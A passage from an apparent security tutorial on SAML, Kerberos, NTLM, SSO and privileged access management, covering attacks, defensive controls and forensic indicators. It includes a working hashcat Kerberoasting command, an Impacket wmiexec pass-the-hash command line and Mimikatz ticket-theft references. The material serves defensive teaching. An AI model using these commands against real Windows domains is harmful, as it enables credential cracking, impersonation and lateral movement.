&lt;span class="c"&gt;# 4. Attacker submits the forged, validly-signed assertion directly to the SP&lt;/span&gt;
&lt;span class="c"&gt;# 5. SP validates signature against the IdP's known public cert --&amp;gt; SUCCEEDS&lt;/span&gt;
&lt;span class="c"&gt;#    because the signature IS cryptographically valid, just illegitimately produced&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 XML-Specific Attack Classes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;XML Signature Wrapping (XSW)&lt;/strong&gt; — exploiting parsers that validate the signature against one part of the XML document tree but then &lt;em&gt;process&lt;/em&gt; a different, attacker-modified part, effectively smuggling forged claims past a technically-valid signature.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XXE (XML External Entity) injection&lt;/strong&gt; — if the SP's XML parser resolves external entities, an attacker can exfiltrate local files or trigger SSRF via a crafted assertion.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Protect the IdP signing key like a root CA private key&lt;/strong&gt; — hardware security module (HSM) storage, strict access control, key rotation, and dedicated monitoring of the certificate store/DKM container.&lt;/li&gt;
&lt;li&gt;Always validate &lt;code&gt;AudienceRestriction&lt;/code&gt;, &lt;code&gt;NotBefore&lt;/code&gt;/&lt;code&gt;NotOnOrAfter&lt;/code&gt;, and the assertion's &lt;code&gt;Issuer&lt;/code&gt; — never accept an otherwise-valid-signature assertion outside its intended audience or time window.&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;schema-validating, hardened XML parsers&lt;/strong&gt; that disable external entity resolution by default.&lt;/li&gt;
&lt;li&gt;Monitor for &lt;strong&gt;IdP signing certificate export/access events&lt;/strong&gt; (e.g., Windows Event ID 4662 against the ADFS DKM container) as a critical, rare, high-fidelity alert.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.7 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;The chilling property of Golden SAML is that &lt;strong&gt;forged assertions generate no corresponding authentication event at the real IdP&lt;/strong&gt; — your hunting target shifts to the &lt;strong&gt;Service Provider's&lt;/strong&gt; logs: an assertion accepted with no matching upstream IdP sign-in event is the core indicator. Also monitor for anomalous &lt;code&gt;NotOnOrAfter&lt;/code&gt; windows far outside policy norms, suggesting a hand-crafted (not naturally issued) assertion.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Large industrial operators frequently federate &lt;strong&gt;OT vendor support portals and engineering-cloud platforms&lt;/strong&gt; through the same corporate ADFS/SAML IdP used for everything else. A Golden SAML compromise at the corporate IdP therefore can directly cascade into OT-adjacent vendor platforms — this is a strong architectural argument for a &lt;strong&gt;separate, isolated IdP trust boundary&lt;/strong&gt; for anything touching OT vendor federation, rather than a single flat corporate-wide IdP trust.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; A valid cryptographic signature proves the assertion was signed by the holder of that key — it proves nothing about whether that signing event was legitimate. Protecting the signing key is more important than any single control downstream of it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Kerberos
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 First Principles
&lt;/h3&gt;

&lt;p&gt;Kerberos is a &lt;strong&gt;ticket-based authentication protocol&lt;/strong&gt; built on &lt;strong&gt;symmetric cryptography&lt;/strong&gt; and a trusted third party (the Key Distribution Center, KDC). Its core innovation: a user proves their identity &lt;em&gt;once&lt;/em&gt; and receives a ticket usable to access multiple services &lt;em&gt;without re-sending their password&lt;/em&gt;, and &lt;em&gt;without the service itself ever learning the password&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 The Three Heads of Kerberos (named for Cerberus, the three-headed guard dog)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Client            KDC: Authentication       KDC: Ticket Granting
                      Server (AS)                Service (TGS)
     │                     │                          │
     │── AS-REQ (user) ───►│                           │
     │◄── AS-REP (TGT) ────┤                           │
     │                     │                           │
     │── TGS-REQ (TGT, target service) ───────────────►│
     │◄── TGS-REP (Service Ticket) ─────────────────────┤
     │                                                  │
     │── AP-REQ (Service Ticket) ──► Target Service     │
     │◄── AP-REP (mutual auth) ─────                    │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AS-REQ/AS-REP&lt;/strong&gt; — client requests a &lt;strong&gt;Ticket Granting Ticket (TGT)&lt;/strong&gt;, encrypted with a key derived from the user's password hash (for the krbtgt-related secret) — this is the &lt;em&gt;initial&lt;/em&gt; authentication.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TGT&lt;/strong&gt; — proves "this user authenticated successfully" without needing to re-prove the password for every subsequent request, typically valid ~10 hours by default in AD environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TGS-REQ/TGS-REP&lt;/strong&gt; — client presents the TGT to request a &lt;strong&gt;Service Ticket&lt;/strong&gt; for a specific resource (e.g., a file server), encrypted with that &lt;em&gt;service's&lt;/em&gt; own secret key, derived from the service account's password hash.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AP-REQ&lt;/strong&gt; — client presents the Service Ticket directly to the target service, which decrypts it with its own key and grants access — the service never talks to the KDC directly per request and never sees the user's password.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.3 Golden Ticket Attack
&lt;/h3&gt;

&lt;p&gt;If an attacker compromises the &lt;strong&gt;krbtgt account's password hash&lt;/strong&gt; (the domain-wide secret used to encrypt all TGTs), they can forge a TGT for &lt;strong&gt;any user, including non-existent users, with any group membership, with any lifetime&lt;/strong&gt; — entirely offline, without contacting a Domain Controller at forgery time. This is &lt;strong&gt;complete and unrecoverable domain authentication compromise&lt;/strong&gt; unless the krbtgt password is reset (twice, due to password-history-based ticket validity).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual flow (Mimikatz-style tooling, real technique, name only — not&lt;/span&gt;
&lt;span class="c"&gt;# operational exploit code):&lt;/span&gt;
1. Attacker achieves Domain Admin &lt;span class="o"&gt;(&lt;/span&gt;or DCSync rights&lt;span class="o"&gt;)&lt;/span&gt; once.
2. Attacker extracts the krbtgt account&lt;span class="s1"&gt;'s NTLM hash via DCSync
   (replicating AD secrets through legitimate replication APIs, abused).
3. Attacker forges a TGT offline using that hash for arbitrary identity/groups.
4. Forged TGT is accepted by any DC indefinitely, until krbtgt is rotated.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 Silver Ticket Attack
&lt;/h3&gt;

&lt;p&gt;Similar concept, but scoped to a &lt;strong&gt;single service&lt;/strong&gt; — the attacker only needs that &lt;em&gt;service account's&lt;/em&gt; password hash (not krbtgt), and forges a Service Ticket directly, bypassing the TGS step entirely. Narrower blast radius than Golden Ticket, but harder to detect because &lt;strong&gt;it never touches the KDC at all&lt;/strong&gt; — TGS-REQ/TGS-REP events simply never occur.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.5 Kerberoasting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Any authenticated domain user can request a Service Ticket for ANY
service principal in the domain — that's by design, not a bug.

Attacker requests Service Tickets for accounts with SPNs set
(commonly service accounts running databases, web apps, etc.)
   │
   ▼
Service Ticket is encrypted with the SERVICE ACCOUNT's password hash
   │
   ▼
Attacker takes that ticket OFFLINE and brute-forces it with hashcat —
no further domain interaction needed, no lockout risk, no further alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hashcat mode for Kerberos 5 TGS-REP etype 23 (RC4) — the classic&lt;/span&gt;
&lt;span class="c"&gt;# Kerberoasting crack target, because RC4-encrypted tickets are crackable&lt;/span&gt;
&lt;span class="c"&gt;# at high speed if the service account's password is weak&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 13100 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 kerberoast_hashes.txt rockyou.txt
&lt;span class="c"&gt;# -m 13100 : Kerberos 5 TGS-REP etype 23&lt;/span&gt;
&lt;span class="c"&gt;# -a 0     : dictionary attack mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is precisely why &lt;strong&gt;service account password strength&lt;/strong&gt; matters disproportionately — these accounts are frequently set once at deployment, never rotated, and often massively over-privileged.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.6 Pass-the-Ticket
&lt;/h3&gt;

&lt;p&gt;Stealing a valid TGT or Service Ticket directly from memory (e.g., via Mimikatz's &lt;code&gt;sekurlsa::tickets&lt;/code&gt;) and &lt;strong&gt;injecting it into a different session/host&lt;/strong&gt; to impersonate the victim without ever knowing their password — the ticket itself is the credential.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.7 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rotate the krbtgt password twice&lt;/strong&gt;, on a recurring schedule and immediately after any suspected Domain Admin compromise (rotating only once leaves the &lt;em&gt;previous&lt;/em&gt; password's tickets valid through password history).&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;long, random passwords on service accounts&lt;/strong&gt; (25+ characters) specifically to defeat Kerberoasting — or migrate to &lt;strong&gt;Group Managed Service Accounts (gMSA)&lt;/strong&gt;, whose passwords are automatically rotated and never human-known.&lt;/li&gt;
&lt;li&gt;Monitor for &lt;strong&gt;abnormal TGS-REQ volume&lt;/strong&gt; from a single account in a short window (Event ID 4769 with ticket encryption type RC4 specifically is a strong Kerberoasting signal — AES-encrypted tickets are far more crack-resistant, so legacy RC4 use is itself a red flag).&lt;/li&gt;
&lt;li&gt;Restrict and monitor &lt;strong&gt;DCSync rights&lt;/strong&gt; (&lt;code&gt;Replicating Directory Changes&lt;/code&gt; / &lt;code&gt;Replicating Directory Changes All&lt;/code&gt;) — only Domain Controllers and explicitly authorized accounts should ever hold these.&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Protected Users group&lt;/strong&gt; and &lt;strong&gt;Credential Guard&lt;/strong&gt; to prevent ticket/credential extraction from memory on modern Windows.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.8 Forensic Evidence
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4768&lt;/strong&gt; (TGT requested), &lt;strong&gt;4769&lt;/strong&gt; (Service Ticket requested), &lt;strong&gt;4770&lt;/strong&gt; (Service Ticket renewed) on Domain Controllers.&lt;/li&gt;
&lt;li&gt;Golden Ticket indicator: a TGT with a &lt;strong&gt;lifetime far exceeding domain policy&lt;/strong&gt;, or referencing a &lt;strong&gt;user that no longer exists / was deleted&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Kerberoasting indicator: a single account generating &lt;strong&gt;many 4769 events with RC4 encryption (etype 0x17)&lt;/strong&gt; across many different SPNs in a short period.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.9 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OT environments running Windows-based SCADA/HMI servers joined to a corporate Active Directory domain inherit &lt;strong&gt;every one of these Kerberos risks directly&lt;/strong&gt;. A Kerberoasted service account tied to a SCADA application server can grant an attacker a foothold that bridges IT compromise straight into OT supervisory control — this is a documented lateral-movement pattern in ICS incident response case studies (e.g., patterns described in ICS-CERT/CISA advisories following ransomware intrusions into hybrid IT/OT Windows domains). Where feasible, OT-tier Windows servers should join a &lt;strong&gt;separate, isolated forest/domain&lt;/strong&gt; rather than the corporate forest, specifically to contain Kerberos-based lateral movement.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Kerberos tickets, not passwords, are the actual currency of post-compromise lateral movement in Windows domains — defending the krbtgt secret and service account hygiene matters more than any single password policy.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. NTLM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 First Principles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NTLM (NT LAN Manager)&lt;/strong&gt; is Microsoft's legacy challenge-response authentication protocol, predating Kerberos in Windows environments and still present today for backward compatibility, workgroup (non-domain) authentication, and certain legacy application support.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 The Challenge-Response Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                              Server
  │── NEGOTIATE_MESSAGE ────────────►│
  │◄── CHALLENGE_MESSAGE (nonce) ────┤
  │── AUTHENTICATE_MESSAGE ─────────►│
  │   (response = HMAC of nonce      │
  │    using NTLM hash of password)  │
  │                                  │  Server validates response
  │                                  │  against its own copy of the
  │                                  │  NTLM hash (or relays to a DC)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Crucially, the &lt;strong&gt;NTLM hash itself (MD4 of the password, no salt)&lt;/strong&gt; is the long-term secret — and because it's used directly in the HMAC computation, &lt;strong&gt;possessing the hash is functionally equivalent to possessing the password&lt;/strong&gt; for authentication purposes. You never need to crack it.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.3 Pass-the-Hash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual technique only — Pass-the-Hash means authenticating using a&lt;/span&gt;
&lt;span class="c"&gt;# captured NTLM hash directly, with NO password cracking required:&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 1. Attacker dumps LSASS memory or SAM/NTDS.dit, obtains NTLM hash&lt;/span&gt;
&lt;span class="c"&gt;# 2. Attacker uses that raw hash directly in an NTLM authentication exchange&lt;/span&gt;
&lt;span class="c"&gt;#    (e.g., via tools like Impacket's psexec.py / wmiexec.py using -hashes)&lt;/span&gt;
python3 wmiexec.py &lt;span class="nt"&gt;-hashes&lt;/span&gt; :NTLM_HASH_HERE administrator@10.0.0.5
&lt;span class="c"&gt;# -hashes &amp;lt;LM:NTLM&amp;gt;  : supplies the captured hash directly, bypassing&lt;/span&gt;
&lt;span class="c"&gt;#                       any need to ever know or crack the plaintext password&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is one of the single most consequential techniques in Windows lateral movement, because &lt;strong&gt;local administrator password reuse across many machines&lt;/strong&gt; (extremely common in unmanaged enterprise fleets) turns ONE compromised endpoint into domain-wide reach.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.4 NTLM Relay
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker positions as a man-in-the-middle (e.g. via LLMNR/NBT-NS spoofing
with Responder, or a malicious SMB/HTTP server):

 Victim Client          Attacker (relay)          Target Server
     │── auth attempt ───────►│                          │
     │                        │── relays the SAME ──────►│
     │                        │   challenge-response      │
     │                        │   to a DIFFERENT server   │
     │                        │◄── target authenticates ──┤
     │                        │    the relayed session AS │
     │                        │    the victim, NO hash     │
     │                        │    cracking needed          │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the mechanism behind tools like &lt;strong&gt;Responder&lt;/strong&gt; (LLMNR/NBT-NS/MDNS poisoning to harvest or relay NTLM auth attempts) and &lt;strong&gt;ntlmrelayx&lt;/strong&gt; (Impacket) — and it was a primary lateral-movement vector during &lt;strong&gt;NotPetya (2017)&lt;/strong&gt;, where stolen credentials and NTLM-based authentication allowed the worm to self-propagate across Maersk's and Merck's networks at devastating speed, in part because &lt;strong&gt;SMB signing was not enforced&lt;/strong&gt; on many internal hosts, allowing relay attacks to succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.5 Why NTLM Is Fundamentally Weaker Than Kerberos
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;NTLM&lt;/th&gt;
&lt;th&gt;Kerberos&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mutual authentication&lt;/td&gt;
&lt;td&gt;No (client can't verify server)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Relay resistance&lt;/td&gt;
&lt;td&gt;Weak (no built-in channel binding by default)&lt;/td&gt;
&lt;td&gt;Strong (ticket bound to specific service)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash reuse across machines&lt;/td&gt;
&lt;td&gt;Catastrophic if local admin reused&lt;/td&gt;
&lt;td&gt;Per-service ticket secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delegation model&lt;/td&gt;
&lt;td&gt;Crude / risky&lt;/td&gt;
&lt;td&gt;Constrained delegation supported&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  11.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disable NTLM entirely where possible&lt;/strong&gt;; at minimum, enforce &lt;strong&gt;NTLMv2&lt;/strong&gt; only (never LM or NTLMv1) via Group Policy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce SMB Signing&lt;/strong&gt; domain-wide — this is the single most impactful control against NTLM relay, as it cryptographically binds each SMB message and breaks naive relay.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce LDAP signing and channel binding&lt;/strong&gt; to prevent LDAP relay (a related, equally damaging relay target).&lt;/li&gt;
&lt;li&gt;Eliminate &lt;strong&gt;local administrator password reuse&lt;/strong&gt; across endpoints — use &lt;strong&gt;LAPS (Local Administrator Password Solution)&lt;/strong&gt; to randomize and rotate local admin passwords per-machine automatically.&lt;/li&gt;
&lt;li&gt;Disable &lt;strong&gt;LLMNR and NBT-NS&lt;/strong&gt; broadcast name resolution where not operationally required, removing Responder's primary poisoning surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11.7 Forensic Evidence
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4624&lt;/strong&gt; (logon) with &lt;strong&gt;Logon Type 3 (network)&lt;/strong&gt; and &lt;strong&gt;Authentication Package: NTLM&lt;/strong&gt; at unexpected volume or from unexpected source hosts.&lt;/li&gt;
&lt;li&gt;A single source host authenticating as &lt;strong&gt;many distinct user accounts&lt;/strong&gt; in rapid succession — strong Pass-the-Hash/credential-spray indicator.&lt;/li&gt;
&lt;li&gt;Unusual LLMNR/NBT-NS broadcast traffic spikes on the wire — Responder activity signature, visible in network capture/IDS.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Many legacy OT Windows systems (Windows XP/7-era HMI software still in production due to vendor certification lock-in) &lt;strong&gt;cannot be upgraded away from NTLM&lt;/strong&gt; and often cannot even support SMB signing without breaking vendor-certified application compatibility. This is a textbook case of &lt;strong&gt;accepting a known protocol weakness and compensating architecturally&lt;/strong&gt;: isolate these legacy NTLM-dependent hosts on a dedicated, tightly firewalled VLAN with no direct reachability from general IT, and route any necessary IT-to-OT administrative access exclusively through a PAM jump host (Section 13) rather than direct NTLM-authenticated access.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; NTLM's design flaw isn't weak cryptography per se — it's the absence of mutual authentication and channel binding, which is precisely what makes relay attacks possible. SMB/LDAP signing is the cheapest, highest-impact mitigation in any Windows environment still running NTLM.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Single Sign-On (SSO)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 First Principles
&lt;/h3&gt;

&lt;p&gt;SSO lets a user authenticate &lt;strong&gt;once&lt;/strong&gt; to a central Identity Provider and gain access to &lt;strong&gt;multiple independent applications&lt;/strong&gt; without re-authenticating to each. Every protocol covered so far — SAML, OIDC, Kerberos — is a &lt;em&gt;mechanism&lt;/em&gt; by which SSO is technically implemented; SSO itself is the &lt;strong&gt;architectural pattern&lt;/strong&gt;, not a protocol.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.2 The Security Trade-off, Stated Plainly
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;            BENEFIT                          RISK
   ───────────────────────         ──────────────────────────
   Fewer passwords to manage        ONE compromised IdP account
   Centralized MFA enforcement      = access to EVERY connected
   Centralized audit trail          application simultaneously
   Faster offboarding (one          ("keys to the kingdom" problem)
   disable = all access revoked)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a reason to avoid SSO — fragmented, non-SSO environments are &lt;em&gt;empirically worse&lt;/em&gt; (more password reuse, inconsistent MFA, slower offboarding leaving orphaned accounts). It is a reason to &lt;strong&gt;invest disproportionately in protecting the IdP itself&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.3 Architecture Pattern
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                         ┌─────────────────┐
                         │  Identity        │
              ┌──────────│  Provider (IdP)  │──────────┐
              │          │  Okta/Azure AD/  │           │
              │          │  ADFS/Ping       │           │
              ▼          └─────────────────┘           ▼
      ┌──────────────┐                         ┌──────────────┐
      │  App A (SAML) │                         │  App B (OIDC) │
      └──────────────┘                         └──────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.4 Real-World Failure: Cloud Identity Provider Compromise
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Okta breach (2022, via a third-party support engineer's compromised laptop)&lt;/strong&gt; and the &lt;strong&gt;Okta source-code-repo breach (2023, customer support system compromised, session tokens for some customers exposed)&lt;/strong&gt; are the canonical illustrations of the SSO concentration risk: when the IdP vendor itself is compromised, the blast radius extends to &lt;strong&gt;every downstream customer organization simultaneously&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Treat the IdP as your &lt;strong&gt;single highest-value asset&lt;/strong&gt; — disproportionate monitoring, phishing-resistant MFA mandatory for all IdP admins, and a dedicated incident response runbook specifically for IdP compromise scenarios.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;conditional access policies&lt;/strong&gt; (device compliance, geolocation, risk scoring) at the IdP layer, since this is now the single enforcement point for &lt;em&gt;everything&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Maintain a &lt;strong&gt;documented emergency break-glass account&lt;/strong&gt; outside normal SSO flow, with offline-stored credentials, for the scenario where the IdP itself is unavailable or compromised.&lt;/li&gt;
&lt;li&gt;Regularly &lt;strong&gt;audit connected application consent grants&lt;/strong&gt; at the IdP — orphaned, over-scoped, or unused application integrations are a common, overlooked attack surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  12.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;IdP admin-action logs (role/policy changes, new application registrations, signing certificate access) are your highest-priority log source in the entire identity stack — any anomaly here has organization-wide blast radius and should carry the highest alerting priority in your SIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Extending corporate SSO into OT-adjacent systems (engineering workstation logins, vendor support portals) is increasingly common for usability — but it directly imports the "one IdP compromise = total access" risk into the OT domain. The architectural answer used by mature OT security programs: a &lt;strong&gt;separate, dedicated OT-tier IdP&lt;/strong&gt; (or at minimum a separate trust realm/forest) federated &lt;em&gt;narrowly and explicitly&lt;/em&gt; to corporate SSO only for specific, audited use cases — never a flat, fully-trusted extension of the corporate IdP into OT.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; SSO doesn't eliminate identity risk — it concentrates it. Concentration is good only if you invest proportionally in protecting the single point you've created.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Privileged Access Management (PAM)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 First Principles
&lt;/h3&gt;

&lt;p&gt;PAM is the discipline and toolset for controlling, monitoring, and auditing access by &lt;strong&gt;accounts with elevated privilege&lt;/strong&gt; — Domain Admins, root, database admins, network device admins, OT engineering accounts. The core insight: &lt;strong&gt;privileged accounts are disproportionately responsible for breach severity&lt;/strong&gt;, even though they're a small minority of total accounts. Nearly every major breach's &lt;em&gt;impact&lt;/em&gt; (not necessarily initial access) traces to privileged credential abuse.&lt;/p&gt;

&lt;h3&gt;
  
  
  13.2 Core PAM Capabilities
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────────────────────────┐
│ 1. VAULTING        Privileged credentials stored encrypted,     │
│                     never known by the human user directly       │
│ 2. JUST-IN-TIME     Privilege granted temporarily, for a          │
│    ACCESS (JIT)     specific task, then automatically revoked     │
│ 3. SESSION          All privileged sessions proxied through a    │
│    BROKERING        jump host, recorded, and monitorable live    │
│ 4. CREDENTIAL       Privileged passwords auto-rotated after       │
│    ROTATION         every checkout/use, so a stolen credential    │
│                     is valid for only one session                │
│ 5. LEAST            Privilege scoped to the minimum necessary     │
│    PRIVILEGE        task, time window, and target system          │
└────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 The Standing Privilege Problem
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TRADITIONAL MODEL:                    PAM/JIT MODEL:
Admin account is ALWAYS               Admin requests elevation for
privileged, 24/7, whether              a specific task --&amp;gt; approved
in use or not                          (manually or policy-based) --&amp;gt;
                                        privilege granted for a defined
ATTACK SURFACE: large,                 window (e.g. 1 hour) --&amp;gt; auto-
constant, always exploitable           revoked
                                       ATTACK SURFACE: small, time-
                                        boxed, requires active task
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Standing privileged access is precisely what attackers seek post-initial-access: in nearly every domain-wide ransomware case, the time between initial foothold and Domain Admin acquisition is the critical window — and PAM's purpose is to make that acquisition either impossible (no standing privileged credentials to steal) or immediately detectable (every privileged session is recorded and alertable).&lt;/p&gt;

&lt;h3&gt;
  
  
  13.4 Architecture: The Privileged Access Workstation (PAW) + Jump Host Model
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrator's          Privileged Access      Target Privileged
regular workstation      Workstation (PAW) /     System (DC, SCADA
(email, browsing,        Jump Host                server, etc.)
general use)              (hardened, no            
                          internet/email,
     │                    MFA-gated,
     │  NO DIRECT          session-recorded)
     │  PRIVILEGED              │
     │  ACCESS ─────X           │
                                  │── brokered, recorded,
                                     time-boxed session ──►
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The principle: &lt;strong&gt;the workstation used for everyday email/browsing must never be the same workstation used for privileged administrative access&lt;/strong&gt; — this single architectural separation defeats the single most common ransomware escalation pattern (phishing on the daily-use workstation leading directly to credential theft of an admin session active on the same machine).&lt;/p&gt;

&lt;h3&gt;
  
  
  13.5 PAM Tooling Landscape
&lt;/h3&gt;

&lt;p&gt;CyberArk, BeyondTrust, Delinea (formerly Thycotic), HashiCorp Vault (secrets management, often complementary to full PAM suites), and native cloud equivalents (AWS IAM Roles + Session Manager, Azure PIM — Privileged Identity Management) all implement variations of the above capabilities. &lt;strong&gt;Azure PIM&lt;/strong&gt; is a particularly instructive cloud-native example of JIT: roles like Global Administrator can be configured as &lt;strong&gt;eligible&lt;/strong&gt; rather than &lt;strong&gt;active&lt;/strong&gt;, requiring explicit, time-boxed, justification-logged activation per use.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: Azure PIM CLI-style role activation request (illustrative)&lt;/span&gt;
az rest &lt;span class="nt"&gt;--method&lt;/span&gt; post &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--url&lt;/span&gt; &lt;span class="s2"&gt;"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--body&lt;/span&gt; &lt;span class="s1"&gt;'{
    "action": "selfActivate",
